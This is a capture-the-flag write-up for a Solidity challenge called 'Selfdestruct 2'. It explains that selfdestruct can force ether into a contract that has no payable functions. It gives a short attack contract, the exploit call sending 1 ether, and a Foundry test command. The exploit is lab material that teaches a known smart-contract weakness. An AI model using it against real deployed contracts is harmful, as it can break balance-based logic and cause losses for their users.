ctfwriteup.com
Search…
⌃K

Selfdestruct 2

Forcefully send ether to contract
  • Due to missing or insufficient access controls, malicious parties can self-destruct the contract.
  • The selfdestruct(address) function removes all bytecode from the contract address and sends all ether stored to the specified address.

Code Audit

contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
We can forcefully send ether to this contract via selfdestruct().

Solution

Implement attack contract:
contract Attack {
function attack(address force) public payable {
selfdestruct(payable(force));
}
}
Exploit is easy:
AttackerContract.attack{value: 1 ether}(address(ForceContract));
Run test:
forge test --contracts ./src/test/Selfdestruct2.sol -vvvv